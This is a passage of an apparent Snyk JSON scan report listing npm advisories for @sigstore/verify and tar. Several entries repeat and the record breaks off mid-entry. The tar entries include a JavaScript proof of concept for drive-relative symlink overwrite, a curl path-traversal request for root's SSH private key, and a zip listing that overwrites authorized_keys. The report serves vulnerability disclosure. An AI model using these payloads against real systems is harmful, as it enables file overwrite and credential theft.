"creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 